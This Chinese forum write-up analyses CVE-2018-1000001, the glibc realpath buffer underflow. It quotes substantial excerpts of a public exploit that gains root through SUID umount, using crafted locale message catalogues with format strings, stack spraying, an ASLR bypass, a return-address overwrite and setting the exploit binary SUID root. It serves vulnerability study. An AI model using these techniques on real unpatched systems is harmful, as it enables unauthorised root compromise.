首页
论坛
专栏
课程

[原创]CVE-2018-1000001 glibc realpath缓冲区溢出漏洞分析

2018-6-20 16:26 2184

[原创]CVE-2018-1000001 glibc realpath缓冲区溢出漏洞分析

2018-6-20 16:26
2184

今年年初的一个漏洞,当时没有看懂就回家过年了,这几天决定把这个漏洞弄懂。表述不当的地方,还望批评指正。

漏洞原理

首先要理解realpath函数的含义。realpath展开所有符号链接并解析path指定的以null结尾的路径名中的/./和/../以生成规范化的绝对路径名。生成的路径名以null结尾存储在由resolve_path指向的缓冲区中。生成的路径名将没有符号链接,/./或/../。比如/home/root目录下有一个1.txt,那么在/home/root/11/22目录下调用realpath("../../1.txt",resolved_path)得到的resolved_path就是/home/root/1.txt。
char *realpath(const char *path, char *resolved_path);

realpath的实现细节如下(glibc-2.24\stdlib\canonicalize.c)。首先判断path是相对路径还是绝对路径,如果第一个字符是”/”说明是绝对路径,否则是相对路径。是相对路径的话调用getcwd获得当前目录的绝对路径,后面结合path中的信息生成绝对路径名(就像上面举的例子)。在程序员的眼中,不管path是相对路径还是绝对路径,最后rpath第一个字符都是”/”,一定是绝对路径。

  if (name[0] != '/')
    {
      if (!__getcwd (rpath, path_max))
	{
	  rpath[0] = '\0';
	  goto error;
	}
      dest = __rawmemchr (rpath, '\0');
    }
  else
    {
      rpath[0] = '/';
      dest = rpath + 1;
    }
接下来就是for循环以”/”为分割分别对path的每个部分进行处理,end - start == 1 && start[0] == '.'就是”./”的情况,表示当前目录,所以不需要处理;end - start == 2 && start[0] == '.' && start[1] == '.'就是”../”的情况,表示上级目录,rpath和dest分别是getcwd获得的绝对路径的开头和结尾,那么这个时候就把dest向前挪直到遇到”/”,前面例子中/home/root/11/22向前挪两次为/home/root/。
  for (start = end = name; *start; start = end)
    {
      struct stat64 st;
      int n;

      /* Skip sequence of multiple path-separators.  */
      while (*start == '/')
	++start;

      /* Find end of path component.  */
      for (end = start; *end && *end != '/'; ++end)
	/* Nothing.  */;

      if (end - start == 0)
	break;
      else if (end - start == 1 && start[0] == '.')
	/* nothing */;
      else if (end - start == 2 && start[0] == '.' && start[1] == '.')
	{
	  /* Back up to previous component, ignore if at root already.  */
	  if (dest > rpath + 1)
	    while ((--dest)[-1] != '/');
	}
      else
	{

如果不是这两种情况,那么会拷贝path的这个部分到dest,前面例子中把1.txt拷贝到/home/root/后面就得到/home/root/1.txt了。

	  dest = __mempcpy (dest, start, end - start);
	  *dest = '\0';

还会检查此时rpath是不是一个符号链接,如果是的话要展开。

	  if (S_ISLNK (st.st_mode))
	    {
	      ……
	      n = __readlink (rpath, buf, path_max - 1);
	      ……
	      /* Careful here, end may be a pointer into extra_buf... */
	      memmove (&extra_buf[n], end, len + 1);
	      name = end = memcpy (extra_buf, buf, n);

本来代码是没有任何问题的,但是Linux内核修订了getcwd,当目录不可达时,会在返回的字符串前面加上(unreachable)。glibc没有进行相应的改动,仍然假设getcwd将返回绝对地址,所以在realpath中仅仅依靠name[0] != '/'就断定参数是一个相对路径,而忽略了以”(“开头的不可达路径。这样在for循环中处理”../”这种情况时向前挪dest,因为前面没有”/”了,所以一直--dest造成后面拷贝时缓冲区溢出。

漏洞利用

POC

作者给了一个DOS的POC,测试的环境是Debian Stretch amd64&libc6 2.24-11+deb9u1&util-linux-2.29.2-1,我刚好有这么一个环境,测试的效果如下(等一会儿就关机了)。


我们看看这个DOS的POC原理是什么。触发漏洞使用的是util-linux中的umount,原因主要有两点:umount会调用realpath来解析路径,而且能被所有用户使用;umount具有SUID权限,具有这种权限的文件会在执行时使调用者暂时获得该文件拥有者的权限,可以用来提权。umount的realpath的操作发生在堆上,所以需要创造可重现的堆布局。在POC中是通过移除可能造成干扰的环境变量,仅保留locale做到的。locale在glibc或者其它需要本地化的程序和库中被用来解析文本(如时间、日期等),它会在umount参数解析之前进行初始化,所以会影响到堆的结构和位于realpath缓冲区前面的那些低地址的内容。在标准系统中,libc提供了/usr/lib/locale/C.UTF-8,它通过环境变量LC_ALL=C.UTF-8进行加载。在POC中向(unreachable)/tmp/from_archive/C/LC_MESSAGES/util-linux.mo文件写入了一些内容,将命令行中的文本base64解码再解压缩即可得到其内容。


po是portable object的缩写,mo是machine object的缩写。po文件是面向翻译人员提取于源代码的一种资源文件。当软件升级的时候,通过使用gettext软件包处理po文件,可以在一定程度上使翻译成果得以继承,减轻翻译人员的负担。mo文件是面向计算机由po文件通过gettext软件包编译而成的二进制文件。程序通过读取mo文件使自身的界面转换成用户使用的语言。这个网站可以直接下载windows系统上编译好的gettext,用bin目录中的msgunfmt.exe在命令行中将mo文件转成po文件。

msgunfmt.exe xxx.mo -o xxx.po

msgid表示的是代码中原本的文本,msgstr表示翻译的结果,也就是说遇到"%s: not mounted"会被替换成"AA%6$lnlnAAAAAAAAAAA",调试的时候会看到。下面就在gdb中开始调试来更好理解POC的含义,首先还是确认glibc和util-linux的版本。


系统自带的umount是没有符号的,所以重新下载并编译。

sudo apt-get install dpkg-dev automake
sudo apt-get source util-linux
cd util-linux-2.29.2
./configure
make && sudo make install

注意在gdb中通过set env和set arg设置环境变量和参数。


因为(unreachable)没有”/”,所以--dest一直向前越过(unreachable)直到C.utf8/LC_CTYPE这里覆写”/”之后的LC_CTYPE。


第一次__mempcpy的结果:


第二次__mempcpy的结果:


第三次__mempcpy的结果:


realpath返回(unreachable)/x:


之后umount_one->mk_exit_code->warnx(_("%s: not mounted"), tgt):


在调用warnx之前先调用了gettext,原本的”%s: not mounted”被替换成"AA%6$lnlnAAAAAAAAAAA":


使用fprintf的%n格式化字符串,即可对一些内存地址进行写操作。由于fprintf所使用的堆栈布局是固定的,所以可以忽略ASLR的影响。于是我们就可以利用该特性覆盖掉libmnt_context结构体中的restricted字段。

struct libmnt_context
{
        int     action;         /* MNT_ACT_{MOUNT,UMOUNT} */
        int     restricted;     /* root or not? */

        char    *fstype_pattern;        /* for mnt_match_fstype() */
        char    *optstr_pattern;        /* for mnt_match_options() */
...

在安装文件系统时,挂载点目录的原始内容会被隐藏起来并且不可用直到被卸载。但是,挂载点目录的所有者和权限没有被隐藏,其中restricted标志用于限制对挂载文件系统的访问。如果将该值覆盖,umount会误以为挂载是从root开始的。于是可以通过卸载root文件系统实现DoS。




EXP

理解了这个POC的原理之后再看看提权的EXP,其实思路是一样的。在代码中除了一些辅助函数之外主要分成了两个部分,第一部分prepareNamespacedProcess做了一些准备工作,第二部分attemptEscalation触发漏洞提权。

正常编译运行能够完美提权:


一旦在gdb中运行就卡在这里了(原因见文章第一条评论):


prepareNamespacedProcess中主要做了下面这些事情。

1.通过设置setgroups为deny限制在新namespace里面调用setgroups来设置groups;通过设置uid_map和gid_map让子进程设置好挂载点。

    char idMapFileName[128];
    char idMapData[128];
    sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    assert(setGroupsFd>=0);
    int result=write(setGroupsFd, "deny", 4);
    assert(result>0);
    close(setGroupsFd);

    sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    assert(uidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(uidMapFd);

    sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    assert(gidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(gidMapFd);
2.创建了下面这些目录和文件。
// Create directories needed for umount to proceed to final state
// "not mounted".
  createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
  assert(result<PATH_MAX);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

3.创建../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A到/proc/5600/cwd/(unreachable)/tmp/down的符号链接用来触发溢出。
// Create symlink to trigger underflows.
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  result=symlink(osReleaseExploitData[1], pathBuffer);
  assert(!result||(errno==EEXIST));
4.创建/proc/5600/cwd/DATEMSK并向其中写入shebang(即“#!”)加上漏洞利用程序的路径,getdate会使用环境变量DATEMSK定义的路径名中的格式,会在下一个部分中用到它。

// getdate will leave that string in rdi to become the filename
// to execute for the next round.
  char *selfPathName=realpath("/proc/self/exe", NULL);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
  assert(handle>0);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
      selfPathName);
  assert(result<PATH_MAX);
  result=write(handle, pathBuffer, result);
  close(handle);
  free(selfPathName);
5.创建/proc/5600/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo并向其中写入需要的数据。
// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  assert(result<PATH_MAX);

  char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
  assert(stackDumpStr);
  char *stackDumpStrEnd=stackDumpStr;
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
      ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
  for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
    memcpy(stackDumpStrEnd, "%016lx", 6);
    stackDumpStrEnd+=6;
  }
// We wrote allready 8 bytes, write so many more to produce a
// count of 'L' and write that to the stack. As all writes so
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
// to write at least 4 bytes, which is longer than any "%hhx"
// format string output. Hence do not care about the byte content
// here. The target write address has a 16 byte alignment due
// to varg structure.
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
      ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
      STACK_LONG_DUMP_BYTES/16);
  *stackDumpStrEnd=0;
  result=writeMessageCatalogue(pathBuffer,
      (char*[]){
          "%s: mountpoint not found",
          "%s: not mounted",
          "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
      },
      (char*[]){"1234", stackDumpStr, "5678"},
      3);
  assert(!result);
  free(stackDumpStr);

转成po文件之后查看内容如下。


6.创建/proc/5600/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo。

  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  assert(result<PATH_MAX);
  result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
  assert((!result)||(errno==EEXIST));
  secondPhaseTriggerPipePathname=strdup(pathBuffer);

  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  secondPhaseCataloguePathname=strdup(pathBuffer);

  free(namespaceMountBaseDir);
  return(namespacedProcessPid);
attemptEscalation中主要做了下面这些事情。

1.在fork的子进程中设置大量AANGUAGE = X.X环境变量喷射栈,umount调用realpath发生溢出时加载了前面设置的mo文件,格式化字符串把栈dump到stderr,修改restricted标志位并把AANGUAGE = X.X改成LANGUAGE = X.X。


2.父进程分为下面几个阶段:

第零阶段寻找溢出后的8个A定位数据的位置。

        case 0: // Initial sync: read A*8 preamble.
          if(readDataLength<8)
            continue;
          char *preambleStart=memmem(readBuffer, readDataLength,
              "AAAAAAAA", 8);
          if(!preambleStart) {
// No preamble, move content only if buffer is full.
            if(readDataLength==sizeof(readBuffer))
              moveLength=readDataLength-7;
            break;
          }
// We found, what we are looking for. Start reading the stack.
          escalationPhase++;
          moveLength=preambleStart-readBuffer+8;

第一阶段读取栈上的数据绕过ASLR,找到libc基地址后将返回地址改成getdate和execl的地址,然后把这些信息写入/proc/5600/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo。

        case 1: // Read the stack.
// Consume stack data until or local array is full.
          while(moveLength+16<=readDataLength) {
            result=sscanf(readBuffer+moveLength, "%016lx",
                (int*)(stackData+stackDataBytes));
            if(result!=1) {
// Scanning failed, the data injection procedure apparently did
// not work, so this escalation failed.
              goto attemptEscalationCleanup;
            }
            moveLength+=sizeof(long)*2;
            stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
            if(stackDataBytes==sizeof(stackData))
              break;
          }
          if(stackDataBytes!=sizeof(stackData))
            break;

// All data read, use it to prepare the content for the next phase.
          fprintf(stderr, "Stack content received, calculating next phase\n");

          int *exploitOffsets=(int*)osReleaseExploitData[3];

// This is the address, where source Pointer is pointing to.
          void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
          void *sourcePointerLocation=sourcePointerTarget-0xd0;

          void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
          void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
          fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
              sourcePointerLocation, sourcePointerTarget,
              targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

          void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
          void *stackWriteData[]={
              libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
              libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
          };
          fprintf(stderr, "Changing return address from %p to %p, %p\n",
              libcStartFunctionAddress, stackWriteData[0],
              stackWriteData[1]);
          escalationPhase++;

          char *escalationString=(char*)malloc(1024);
          createStackWriteFormatString(
              escalationString, 1024,
              exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
              sourcePointerTarget, // Base value to write
              exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
              libcStartFunctionReturnAddressSource,
              (unsigned short*)stackWriteData,
              sizeof(stackWriteData)/sizeof(unsigned short)
          );
          fprintf(stderr, "Using escalation string %s", escalationString);

          result=writeMessageCatalogue(
              secondPhaseCataloguePathname,
              (char*[]){
                  "%s: mountpoint not found",
                  "%s: not mounted",
                  "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
              },
              (char*[]){
                  escalationString,
                  "BBBB5678%3$s\n",
                  "BBBBABCD%s\n"},
              3);
          assert(!result);
          break;

转成po文件之后查看内容如下。


第二阶段因为LANGUAGE改变了所以会重新读取util-linux.mo,等待管道进入非阻塞模式再进入下一个阶段。

    if(escalationPhase==2) {
// We cannot use the standard poll from below to monitor the pipe,
// but also we do not want to block forever. Wait for the pipe
// in nonblocking mode and then continue with next phase.
      result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
      if(result) {
        goto attemptEscalationCleanup;
      }
      escalationPhase++;
    }

第三阶段读取umount输出(代码里面的注释写的是“result from mount”,应该是笔误把umount写成mount了),进行一些清理工作,等待进入ROP链。

        case 3:
// Wait for pipe connection and output any result from mount.
          readDataLength=0;
          break;
attemptEscalationCleanup:
// Wait some time to avoid killing umount even when exploit was
// successful.
  sleep(1);
  close(childStdout);
// It is safe to kill the child as we did not wait for it to finish
// yet, so at least the zombie process is still here.
  kill(childPid, SIGKILL);
  pid_t waitedPid=waitpid(childPid, NULL, 0);
  assert(waitedPid==childPid);

  return(escalationSuccess);




前面prepareNamespacedProcess中在DATEMSK定义的路径名中写入shebang(即“#!”)加上漏洞利用程序的路径,操作系统会调用漏洞利用程序作为解释器。漏洞利用程序将自己的文件所有权和模式更改为root SUID二进制文件并退出。

  if(geteuid()==0) {
    struct stat statBuf;
    int result=stat("/proc/self/exe", &statBuf);
    assert(!result);
    if(statBuf.st_uid||statBuf.st_gid) {
      fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
          programmName);
      int handle=open("/proc/self/exe", O_RDONLY);
      fchown(handle, 0, 0);
      fchmod(handle, 04755);
      exit(0);
    }
umount进程退出之后在主进程中做一些清理工作就可以直接调用shell了,成功提权!

参考资料

1.LibcRealpathBufferUnderflow

2.glibc Realpath缓冲区下溢漏洞(CVE–2018–1000001)分析




[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

最后于 2018-8-2 22:18 被houjingyi编辑 ,原因:
上一主题 下一主题
最新回复 (2)
zrlw 2018-7-5 02:20
2
0
文章有处谬误:
poll timeout 和权限无关,问题在于没下断点直接就r了,此时实际上a.out已经完成所有提权,执行自身本该启动shell了,但是由于在gdb调试环境下getuid返回的注定不是0,然后又去建用户空间搞提权,但缓存区相应位置已经下溢改过了,重复搞是搞不定的。
我用的gdb是7.11.1 SuSE发行版,gdb倒是真有缺陷,包括8.1版本也有,就是catch exec、 set follow-exec-mode new进入execve调起的新程序后,马上做info prog操作gdb会segfault,我前些日子把缺陷提给SuSE了,他们已经改了trunk分支的gdb,7.11.1的补丁应该还没有搞,感觉希望不大。gef默认context.enable为True,进了execve新程序后(比如本文的umount)马上就会去执行info prog,立马coredump,所以用gef跟execve调用程序绕不开这个毛病。
我自己做的suse gdb 7.11.1 patch如下,估计7.11.1版本的代码都差不多,至少可以参照修改。
--- gdb.orig/infcmd.c   2016-06-01 08:36:15.000000000 +0800
+++ gdb/infcmd.c        2018-07-05 01:11:52.476253718 +0800
@@ -2062,7 +2062,9 @@ program_info (char *args, int from_tty)
       get_last_target_status (&ptid, &ws);
     }
 
-  if (ptid_equal (ptid, null_ptid) || is_exited (ptid))
+  if (ptid_equal (ptid, minus_one_ptid))
+    error (_("No selected thread."));
+  else if (ptid_equal (ptid, null_ptid) || is_exited (ptid))
     error (_("Invalid selected thread."));
   else if (is_running (ptid))
     error (_("Selected thread is running."));

不会改gdb代码,也有临时变通办法,就是执行到execve时设置gef config context.enable False,跟踪进入execve调起程序后先做一步si,再恢复context.enable就好了
最后于 2018-7-5 02:27 被zrlw编辑 ,原因: 错字
houjingyi 8 2018-7-6 15:46
3
0
zrlw 文章有处谬误:poll&nbsp;timeout&nbsp;和权限无关,问题在于没下断点直接就r了,此时实际上a.out已经完成所有提权,执行自身本该启动shell了,但是由于在gdb ...
感谢指正!
游客
登录 | 注册 方可回帖
返回